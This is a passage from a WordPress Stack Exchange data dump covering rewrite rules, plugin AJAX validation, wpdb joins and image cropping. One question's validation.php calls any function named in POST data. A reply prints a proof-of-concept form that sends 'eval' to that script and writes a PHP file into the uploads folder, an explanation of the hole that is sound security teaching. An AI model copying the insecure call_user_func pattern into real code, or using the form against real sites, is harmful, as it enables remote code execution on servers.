index.php?seriesname=$matches[1]&amp;amp;contenttype=$matches[2]&amp;amp;paged=$matches[3]&#xA;    [content/([^/]+)/([^/]+)/?$] =&amp;gt; index.php?seriesname=$matches[1]&amp;amp;contenttype=$matches[2]&#xA;    [content/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?seriesname=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [content/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?seriesname=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [content/([^/]+)/page/?([0-9]{1,})/?$] =&amp;gt; index.php?seriesname=$matches[1]&amp;amp;paged=$matches[2]&#xA;    [content/([^/]+)/?$] =&amp;gt; index.php?seriesname=$matches[1]&#xA;    [robots\.txt$] =&amp;gt; index.php?robots=1&#xA;    [.*wp-atom.php$] =&amp;gt; index.php?feed=atom&#xA;    [.*wp-rdf.php$] =&amp;gt; index.php?feed=rdf&#xA;    [.*wp-rss.php$] =&amp;gt; index.php?feed=rss&#xA;    [.*wp-rss2.php$] =&amp;gt; index.php?feed=rss2&#xA;    [.*wp-feed.php$] =&amp;gt; index.php?feed=feed&#xA;    [.*wp-commentsrss2.php$] =&amp;gt; index.php?feed=rss2&amp;amp;withcomments=1&#xA;    [feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?&amp;amp;feed=$matches[1]&#xA;    [(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?&amp;amp;feed=$matches[1]&#xA;    [page/?([0-9]{1,})/?$] =&amp;gt; index.php?&amp;amp;paged=$matches[1]&#xA;    [comments/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?&amp;amp;feed=$matches[1]&amp;amp;withcomments=1&#xA;    [comments/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?&amp;amp;feed=$matches[1]&amp;amp;withcomments=1&#xA;    [comments/page/?([0-9]{1,})/?$] =&amp;gt; index.php?&amp;amp;paged=$matches[1]&#xA;    [search/(.+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?s=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [search/(.+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?s=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [search/(.+)/page/?([0-9]{1,})/?$] =&amp;gt; index.php?s=$matches[1]&amp;amp;paged=$matches[2]&#xA;    [search/(.+)/?$] =&amp;gt; index.php?s=$matches[1]&#xA;    [author/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?author_name=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [author/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?author_name=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [author/([^/]+)/page/?([0-9]{1,})/?$] =&amp;gt; index.php?author_name=$matches[1]&amp;amp;paged=$matches[2]&#xA;    [author/([^/]+)/?$] =&amp;gt; index.php?author_name=$matches[1]&#xA;    [([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?year=$matches[1]&amp;amp;monthnum=$matches[2]&amp;amp;day=$matches[3]&amp;amp;feed=$matches[4]&#xA;    [([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?year=$matches[1]&amp;amp;monthnum=$matches[2]&amp;amp;day=$matches[3]&amp;amp;feed=$matches[4]&#xA;    [([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/page/?([0-9]{1,})/?$] =&amp;gt; index.php?year=$matches[1]&amp;amp;monthnum=$matches[2]&amp;amp;day=$matches[3]&amp;amp;paged=$matches[4]&#xA;    [([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/?$] =&amp;gt; index.php?year=$matches[1]&amp;amp;monthnum=$matches[2]&amp;amp;day=$matches[3]&#xA;    [([0-9]{4})/([0-9]{1,2})/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?year=$matches[1]&amp;amp;monthnum=$matches[2]&amp;amp;feed=$matches[3]&#xA;    [([0-9]{4})/([0-9]{1,2})/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?year=$matches[1]&amp;amp;monthnum=$matches[2]&amp;amp;feed=$matches[3]&#xA;    [([0-9]{4})/([0-9]{1,2})/page/?([0-9]{1,})/?$] =&amp;gt; index.php?year=$matches[1]&amp;amp;monthnum=$matches[2]&amp;amp;paged=$matches[3]&#xA;    [([0-9]{4})/([0-9]{1,2})/?$] =&amp;gt; index.php?year=$matches[1]&amp;amp;monthnum=$matches[2]&#xA;    [([0-9]{4})/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?year=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [([0-9]{4})/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?year=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [([0-9]{4})/page/?([0-9]{1,})/?$] =&amp;gt; index.php?year=$matches[1]&amp;amp;paged=$matches[2]&#xA;    [([0-9]{4})/?$] =&amp;gt; index.php?year=$matches[1]&#xA;    [[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/attachment/([^/]+)/?$] =&amp;gt; index.php?attachment=$matches[1]&#xA;    [[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/attachment/([^/]+)/trackback/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;tb=1&#xA;    [[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/attachment/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/attachment/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/attachment/([^/]+)/comment-page-([0-9]{1,})/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;cpage=$matches[2]&#xA;    [([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/([^/]+)/trackback/?$] =&amp;gt; index.php?year=$matches[1]&amp;amp;monthnum=$matches[2]&amp;amp;day=$matches[3]&amp;amp;name=$matches[4]&amp;amp;tb=1&#xA;    [([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?year=$matches[1]&amp;amp;monthnum=$matches[2]&amp;amp;day=$matches[3]&amp;amp;name=$matches[4]&amp;amp;feed=$matches[5]&#xA;    [([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?year=$matches[1]&amp;amp;monthnum=$matches[2]&amp;amp;day=$matches[3]&amp;amp;name=$matches[4]&amp;amp;feed=$matches[5]&#xA;    [([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/([^/]+)/page/?([0-9]{1,})/?$] =&amp;gt; index.php?year=$matches[1]&amp;amp;monthnum=$matches[2]&amp;amp;day=$matches[3]&amp;amp;name=$matches[4]&amp;amp;paged=$matches[5]&#xA;    [([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/([^/]+)/comment-page-([0-9]{1,})/?$] =&amp;gt; index.php?year=$matches[1]&amp;amp;monthnum=$matches[2]&amp;amp;day=$matches[3]&amp;amp;name=$matches[4]&amp;amp;cpage=$matches[5]&#xA;    [([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/([^/]+)(/[0-9]+)?/?$] =&amp;gt; index.php?year=$matches[1]&amp;amp;monthnum=$matches[2]&amp;amp;day=$matches[3]&amp;amp;name=$matches[4]&amp;amp;page=$matches[5]&#xA;    [[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/([^/]+)/?$] =&amp;gt; index.php?attachment=$matches[1]&#xA;    [[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/([^/]+)/trackback/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;tb=1&#xA;    [[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/([^/]+)/comment-page-([0-9]{1,})/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;cpage=$matches[2]&#xA;    [([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/comment-page-([0-9]{1,})/?$] =&amp;gt; index.php?year=$matches[1]&amp;amp;monthnum=$matches[2]&amp;amp;day=$matches[3]&amp;amp;cpage=$matches[4]&#xA;    [([0-9]{4})/([0-9]{1,2})/comment-page-([0-9]{1,})/?$] =&amp;gt; index.php?year=$matches[1]&amp;amp;monthnum=$matches[2]&amp;amp;cpage=$matches[3]&#xA;    [([0-9]{4})/comment-page-([0-9]{1,})/?$] =&amp;gt; index.php?year=$matches[1]&amp;amp;cpage=$matches[2]&#xA;    [.+?/attachment/([^/]+)/?$] =&amp;gt; index.php?attachment=$matches[1]&#xA;    [.+?/attachment/([^/]+)/trackback/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;tb=1&#xA;    [.+?/attachment/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [.+?/attachment/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [.+?/attachment/([^/]+)/comment-page-([0-9]{1,})/?$] =&amp;gt; index.php?attachment=$matches[1]&amp;amp;cpage=$matches[2]&#xA;    [(.+?)/trackback/?$] =&amp;gt; index.php?pagename=$matches[1]&amp;amp;tb=1&#xA;    [(.+?)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?pagename=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [(.+?)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?pagename=$matches[1]&amp;amp;feed=$matches[2]&#xA;    [(.+?)/page/?([0-9]{1,})/?$] =&amp;gt; index.php?pagename=$matches[1]&amp;amp;paged=$matches[2]&#xA;    [(.+?)/comment-page-([0-9]{1,})/?$] =&amp;gt; index.php?pagename=$matches[1]&amp;amp;cpage=$matches[2]&#xA;    [(.+?)(/[0-9]+)?/?$] =&amp;gt; index.php?pagename=$matches[1]&amp;amp;page=$matches[2]&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;%seriesname% is a slug that coincides with the parent of the post.  %contenttype% coincides with a custom taxonomy.  The idea was that if the %postname% tag was omitted, those two other tags could be used to create an archive page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:  Making progress.  As noted in the discussion in the comments, using the builtin %postname% tag with a custom permastruct seems to be the cause of my 400 Bad Request Errors.  Hopefully this should narrow down what the problem seems to be.&lt;/p&gt;&#xA;" OwnerUserId="2234" LastEditorUserId="2234" LastEditorDisplayName="" LastEditDate="2011-06-24T17:54:45.043" LastActivityDate="2011-07-21T06:16:21.247" Title="Using %postname% tag with a Custom Permastruct creates 400 Bad Request Errors from the server" Tags="&lt;custom-post-types&gt;&lt;permalinks&gt;&lt;rewrite-rules&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="1" />
  <row Id="20914" PostTypeId="2" ParentId="20912" CreationDate="2011-06-24T05:18:51.940" Score="0" ViewCount="" Body="&lt;p&gt;It can be achieved with jquery slider or tabs, instead of page template where URL will change. Just need to work on the styling.&lt;/p&gt;&#xA;" OwnerUserId="6428" LastActivityDate="2011-06-24T05:18:51.940" CommentCount="4" />
  <row Id="20915" PostTypeId="1" AcceptedAnswerId="20916" CreationDate="2011-06-24T05:45:20.887" Score="0" ViewCount="63" Body="&lt;p&gt;Asked this question on StackOverflow and they directed me over yonder... nice place ya got here =)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been developing a pretty simple WordPress plugin, and wanted to do some live validation of certain fields on the page, which is where I am stuck. I've been looking everywhere for something that worked, and I simply can't make it function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been trying to get the ajax to function properly and I know I'm missing something obvious, I just can't figure it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main function file includes this to register my js file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function on_screen_validation() {&#xA;    wp_enqueue_script( &quot;field_validation&quot;, path_join(WP_PLUGIN_URL, basename( dirname( __FILE__ ) ).&quot;/field-validation.js&quot;), array( 'jquery' ) );&#xA;}&#xA;add_action( 'admin_print_scripts', 'on_screen_validation' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The js runs this code to capture the onblur command and pass the value to the php validation file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function() {&#xA;    //run field validation on username on blur&#xA;    jQuery('.valusername').blur(function() {&#xA;&#xA;        var usernameID = jQuery(this).attr('id');&#xA;        var usernameVal = jQuery('#'+usernameID).val();&#xA;        var thisFunction = 'validateUserName';&#xA;&#xA;        jQuery.post(&quot;mywebaddress...validation.php&quot;,{Function: thisFunction, thevars: usernameVal}, function(data) {&#xA;             alert(data); //would update validation message here&#xA;        });&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the validation.php script looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(isset($_POST['Function'])){&#xA;    call_user_func($_POST['Function'], $_POST['thevars']);&#xA;}&#xA;&#xA;function validateUserName($username){   &#xA;   if ( username_exists($username) ) {&#xA;       echo $username.' does exist'; &#xA;   } else {&#xA;       echo $username.' doesnt exist';&#xA;   }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously I'm just using alerts for now to make sure the data is being checked properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I take out the WordPress username_exists function, and just echo back a string, it works fine. But with username_exists, it creates a 500 internal server error. I need to know how to get this external validation.php file to recongnise WordPress functions (I think), and nothing I've found so far will work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for reading... sorry for the long explanation I just wanted to make sure the context was all there so it made sense (I hope!)!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers, Matt&lt;/p&gt;&#xA;" OwnerUserId="6463" LastActivityDate="2011-06-24T09:22:13.483" Title="WordPress plugin admin page - using WordPress function in linked php file" Tags="&lt;php&gt;&lt;jquery&gt;&lt;ajax&gt;" AnswerCount="2" />
  <row Id="20916" PostTypeId="2" ParentId="20915" CreationDate="2011-06-24T07:05:54.220" Score="2" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;PLEASE!! PLEASE!!&lt;/strong&gt; Don't send the php function names from your javascript. Below is the correct way of doing it. It might not be best way but at least secure way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To register your javascript (see the use of &lt;strong&gt;plugins_url&lt;/strong&gt; instead of path_join), Also the validation is now part of your plugin, it does not have to go in separate validation.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function on_screen_validation() {&#xA;    wp_enqueue_script( &quot;field_validation&quot;, plugins_url( &quot;field-validation.js&quot;, __FILE__ ), array( 'jquery' ) );&#xA;    wp_localize_script( &quot;field_validation&quot;, &quot;MySecureAjax&quot;, array( 'ajaxurl' =&amp;gt; admin_url( 'admin-ajax.php' ) ) );&#xA;}&#xA;add_action( 'admin_print_scripts', 'on_screen_validation' );&#xA;&#xA;add_action( 'wp_ajax_UserNameValidation', 'validateUserName' );&#xA;&#xA;function validateUserName() {&#xA;    $username = $_POST['thevars'];&#xA;    if ( username_exists($username) ) {&#xA;        echo $username.' does exist'; &#xA;    } else {&#xA;        echo $username.' doesnt exist';&#xA;    }&#xA;&#xA;    // Don't remove exit&#xA;    exit;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You javascript part:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function() {&#xA;    //run field validation on username on blur&#xA;    jQuery('.valusername').blur(function() {&#xA;&#xA;        var usernameVal = jQuery(this).val();&#xA;        var action = 'UserNameValidation';&#xA;&#xA;        jQuery.post( MySecureAjax.ajaxurl, {action: action, thevars: usernameVal}, function(data) {&#xA;             alert(data); //would update validation message here&#xA;        });&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can add nonce checking for further security and validation.&lt;/p&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-06-24T07:05:54.220" CommentCount="1" />
  <row Id="20919" PostTypeId="1" AcceptedAnswerId="20922" CreationDate="2011-06-24T08:15:01.770" Score="0" ViewCount="97" Body="&lt;p&gt;I need to get a return from a query that provides me with email, username or nicename as well as post title based on author id.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The query is to run once daily via cron and look for posts that have spent a specific live time before they come up for removal (the query is intended to run five days and then three days before post deletion).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so far i have this which works (almost) via running manual queries in phpmyadmin.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT ID, user_email, display_name, user_nicename&#xA;FROM wp_users&#xA;WHERE ID&#xA;IN (SELECT post_author FROM wp_posts WHERE post_type = 'sales' AND HOUR( TIMEDIFF( NOW( ) , post_date_gmt ) ) &amp;gt;=1)  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;alls well and good here, it returns success however what i now need to get is also the post_titles of all the posts due for expiry so that it can be added inside the $message part of the wp_mail.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im going to be honest with you i havent a clue about joining stuff. whether it needs left joins, outside joins or any other kind of join there maybe, the only info i seem to keep getting back from codex &lt;a href=&quot;http://codex.wordpress.org/Displaying_Posts_Using_a_Custom_Select_Query&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;is this page&lt;/strong&gt;&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$emailusers = $wpdb-&amp;gt;get_results(&quot;SELECT ID, user_email FROM $wpdb-&amp;gt;users WHERE ID IN (SELECT post_author FROM $wpdb-&amp;gt;posts WHERE post_type = 'sales' AND HOUR( TIMEDIFF( NOW( ) , post_date_gmt ) ) &amp;gt;=1)&quot;);&#xA;&#xA;foreach ($emailusers as $user) {&#xA;// do wp_mail stuff from here&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Full working code &lt;strong&gt;below&lt;/strong&gt; for anyone who is interested:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;require_once 'wp-load.php';&#xA;&#xA;global $wpdb;&#xA;&#xA;$emailusers = $wpdb-&amp;gt;get_results(&quot;SELECT u.user_nicename, u.user_email, p.post_title,  p.post_date&#xA;FROM $wpdb-&amp;gt;posts p&#xA;INNER JOIN $wpdb-&amp;gt;users u ON p.post_author = u.ID&#xA;WHERE post_type = 'sales' OR post_type = 'rentals' OR post_type = 'business'&#xA;AND HOUR( TIMEDIFF( NOW( ) , post_date_gmt ) ) &amp;gt;=721&quot;);&#xA;&#xA;&#xA;foreach ($emailusers as $user) {&#xA;&#xA;$to = $user-&amp;gt;user_email;&#xA;&#xA;$subject = $user-&amp;gt;post_title;&#xA;&#xA;$message = 'You have a property listing that will auto expire in 3 days, the property is &amp;lt;strong&amp;gt;' . $user-&amp;gt;post_title .'&amp;lt;/strong&amp;gt; and was listed on &amp;lt;strong&amp;gt;' . $user-&amp;gt;post_date .'&amp;lt;/strong&amp;gt;' . &quot;\r\n&quot;;&#xA;&#xA;&#xA;$headers .= &quot;From: -------- &amp;lt;www.------------.com&amp;gt;&quot; . &quot;\r\n&quot;;&#xA;&#xA;&#xA;wp_mail( $user_email, $subject, $message, $headers);&#xA;&#xA;}&#xA;&#xA;&#xA;?&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code up above will notify the author @ 720 hours that they have 3 days remaining before the post is auto deleted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;regards&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditorDisplayName="" LastEditDate="2011-06-27T16:15:11.983" LastActivityDate="2011-06-27T16:15:11.983" Title="Join inside a wpdb query.. confused!" Tags="&lt;wpdb&gt;&lt;join-tables&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" />
  <row Id="20920" PostTypeId="2" ParentId="13152" CreationDate="2011-06-24T08:40:10.130" Score="0" ViewCount="" Body="&lt;p&gt;The solution was actually to contact Andrew Ozz and he was already planning on working on a new TinyMCE API which would allow for the functionality needed here. It's currently in use as of Pods 1.9.6+, and we're hoping that it makes it into WP 3.3 if everything goes right.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2011-06-24T08:40:10.130" />
  <row Id="20921" PostTypeId="1" AcceptedAnswerId="22570" CreationDate="2011-06-24T08:47:50.887" Score="5" ViewCount="228" Body="&lt;p&gt;I was wondering how I could setup a taxonomy metabox on a post edit page that would be similar to the &quot;tags&quot; kind (with search field and automatic suggestions), but without the right to add a new term.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example if I'm typign a word, I get suggestions of terms that I can use from the existing terms list, but if I type a word that doesn't exist, then it doesn't add the terms to the list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually, what I'm looking for is exactly the behavior of the &quot;Search&quot; functionality in the Menu Editor :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/WS7wS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As this is a core WP behavior, is there a way to use it on post edit pages too ? I'm wondering because these blocks look exactly the same, both have the &quot;view all&quot; and &quot;most recent&quot; tabs, but &quot;search&quot; is only present in the Menu Editor.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-06-30T06:56:50.090" LastActivityDate="2011-07-12T05:41:18.380" Title="How can I create a taxonomy meta-box with search suggestions but no new terms input?" Tags="&lt;metabox&gt;&lt;taxonomy&gt;&lt;search&gt;&lt;terms&gt;&lt;capability&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="3" />
  <row Id="20922" PostTypeId="2" ParentId="20919" CreationDate="2011-06-24T09:07:22.100" Score="2" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;$emailusers = $wpdb-&amp;gt;get_results(&#xA;    &quot;SELECT p.ID AS post_id, p.post-title, u.user_email &quot; .&#xA;    &quot;FROM $wpdb-&amp;gt;posts AS p &quot; .&#xA;    &quot;INNER JOIN $wpdb-&amp;gt;users AS u ON p.post_author = u.ID &quot; .&#xA;    &quot;WHERE p.post_type = 'sales' AND HOUR( TIMEDIFF( NOW( ) , p.post_date_gmt ) ) &amp;gt;=1)&quot;&#xA;);&#xA;&#xA;foreach ($emailusers as $user) {&#xA;    // do wp_mail stuff from here&#xA;&#xA;    // $emailusers-&amp;gt;post_title;&#xA;    // $emailusers-&amp;gt;user_email;&#xA;&#xA;    // used 'post_id' alias rather than 'ID' so it's clear it's not the author ID&#xA;    // $emailusers-&amp;gt;post_id;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-06-24T09:07:22.100" CommentCount="5" />
  <row Id="20923" PostTypeId="1" CreationDate="2011-06-24T09:11:17.947" Score="6" ViewCount="195" Body="&lt;p&gt;I have a series of posts, all with featured images, but I need to be able to customise the crop top right corner. In this instance, I need them to be cropped from top right, but it would be useful to also know how to position that point myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At present, the add_image_size() function is taking its crop from the centre of the image. Not always pretty!!&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2011-06-25T16:31:11.863" Title="How can I make add_image_size() crop from the top?" Tags="&lt;plugins&gt;&lt;images&gt;&lt;post-thumbnails&gt;&lt;add-image-size&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="20924" PostTypeId="2" ParentId="20915" CreationDate="2011-06-24T09:22:13.483" Score="0" ViewCount="" Body="&lt;p&gt;Holy exploit Batman! @Hameedullah makes an excellent answer - to complement it, imagine if I created a form like so;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;your.website/validation.php&quot; method=&quot;post&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;Function&quot; value=&quot;eval&quot; /&amp;gt;&#xA;    &amp;lt;textarea name=&quot;thevars&quot;&amp;gt;&#xA;        file_put_contents(&#xA;            $_SERVER['DOCUMENT_ROOT' ] . '/wp-content/uploads/nasty.php',&#xA;            '&amp;amp;lt;?php // evil code ?&amp;amp;gt;'&#xA;        );&#xA;    &amp;lt;/textarea&amp;gt;&#xA;&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;Let Battle Commence&quot; /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I were to post this to your validation script, I would've just installed a PHP file with my own code on your server! Now all I'd need to do is visit the script in a browser, and all hell can break loose!&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-06-24T09:22:13.483" CommentCount="1" />
  <row Id="20925" PostTypeId="2" ParentId="20923" CreationDate="2011-06-24T09:28:13.393" Score="5" ViewCount="" Body="&lt;p&gt;Intermediate image generation is extremely rigid.  &lt;code&gt;image_resize()&lt;/code&gt; keeps it close to code and completely lacks hooks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pretty much only option for this is to hook into &lt;code&gt;wp_generate_attachment_metadata&lt;/code&gt; and overwrite WP-generated image with your own (which will need bit of a &lt;code&gt;image_resize()&lt;/code&gt; fork).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need this for work so I might be able to share some code later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, here is rough, but working example. Note that setting up crop in this way requires understanding of &lt;a href=&quot;http://php.net/manual/en/function.imagecopyresampled.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;imagecopyresampled()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('wp_generate_attachment_metadata', 'custom_crop');&#xA;&#xA;function custom_crop($metadata) {&#xA;&#xA;    $uploads = wp_upload_dir();&#xA;    $file = path_join( $uploads['basedir'], $metadata['file'] ); // original image file&#xA;    list( $year, $month ) = explode( '/', $metadata['file'] );&#xA;    $target = path_join( $uploads['basedir'], &quot;{$year}/{$month}/&quot;.$metadata['sizes']['medium']['file'] ); // intermediate size file&#xA;    $image = imagecreatefromjpeg($file); // original image resource&#xA;    $image_target = wp_imagecreatetruecolor( 44, 44 ); // blank image to fill&#xA;    imagecopyresampled($image_target, $image, 0, 0, 25, 15, 44, 44, 170, 170); // crop original&#xA;    imagejpeg($image_target, $target, apply_filters( 'jpeg_quality', 90, 'image_resize' )); // write cropped to file&#xA;&#xA;    return $metadata;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-06-25T16:31:11.863" LastActivityDate="2011-06-25T16:31:11.863" CommentCount="2" />
  <row Id="20926" PostTypeId="1" AcceptedAnswerId="20941" CreationDate="2011-06-24T09:40:50.683" Score="0" ViewCount="103" Body="&lt;p&gt;I am running Qtranslate for my website see: &lt;a href=&quot;http://tinyurl.com/63d4dqw&quot; rel=&quot;nofollow&quot;&gt;http://tinyurl.com/63d4dqw&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am very impressed by this plugin.&#xA;Now my only problem is that I cannot set a custom title and description for my homepage per language.&#xA;I can only setup one line for the title in the general settings for my website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have installed Qtranslate META where I can set a custom title and description per page, but my only problem is the homepage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be realy appreciated how to fix this!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2293" LastActivityDate="2011-07-24T05:00:21.733" Title="How to set a custom title per language?" Tags="&lt;plugins&gt;&lt;seo&gt;&lt;multi-language&gt;&lt;plugin-qtranslate&gt;&lt;language&gt;" AnswerCount="2" CommentCount="2" />
